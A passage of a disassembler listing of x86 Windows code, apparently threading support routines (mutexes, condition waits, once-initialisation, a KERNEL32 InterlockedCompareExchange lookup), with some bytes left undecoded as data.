[edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2790D01h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2790720h mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510940 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510940 mov esi, 10h nop call near ptr 7C9010EDh loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi nop call near ptr 2770917h test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0ECE4E890h dd 7E830234h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 278084Ch test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 2770917h nop test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EBACE890h dd 7E830234h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 nop call near ptr 2780B22h push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j nop call near ptr 2780B22h test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi call near ptr 2780B22h nop mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 278084Ch test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 2780B22h test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 0C5E89056h, 0E80241DBh, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 278084Ch test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j call near ptr 2850000h nop loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27F08C8h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103BC, eax call near ptr 28C03C3h nop test eax, eax mov dword_5103D8, eax jnz short loc_4325BD mov eax, dword_5103BC mov dword_5103D8, offset sub_4012D0 push eax nop call near ptr 2760949h mov dword_5103BC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103C0 test eax, eax jz short loc_432640 mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 23E89052h, 0E80232DFh dd 0FFFCF015h, 5103BCA1h, 74C08500h, 0E8905007h, 232E309h ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103C0 test eax, eax jz short loc_4326CB mov eax, dword_5103C4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103C40Dh, 4C48300h, 6A118Bh, 83E89052h db 0DEh, 32h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_5109A0 xor esi, esi call near ptr 7C901005h nop mov eax, dword_5103CC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_5109A0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103C0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103C4 mov dword_5103C0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103C8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108E0 call esi push offset dword_510940 call esi push offset dword_5109A0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510960 call esi mov eax, dword_5103C0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103C0 test eax, eax jz locret_432909 mov eax, dword_5103C4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103C4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103C8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103C8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108E0 nop call near ptr 7C901005h mov eax, dword_447710 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108E0 nop call near ptr 7C9010EDh mov esi, dword_511864 push offset dword_510960 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5109A0 call esi push offset dword_510940 call esi push offset dword_5108E0 call esi mov dword_5103C0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_5103C4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, [esp+0A0h+var_4C] mov esi, dword_5118E0 add esp, 10h test eax, eax pop edi jz short loc_432A78 push eax call esi loc_432A78: ; CODE XREF: sub_432A20+53j lea eax, [esp+8Ch+var_58] push eax call sub_402252 mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_432A9A test [esp+8Ch+var_8], 1 jnz short loc_432A9A push eax call esi loc_432A9A: ; CODE XREF: sub_432A20+11j ; sub_432A20+6Bj ... pop esi pop ebx add esp, 84h retn sub_432A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E 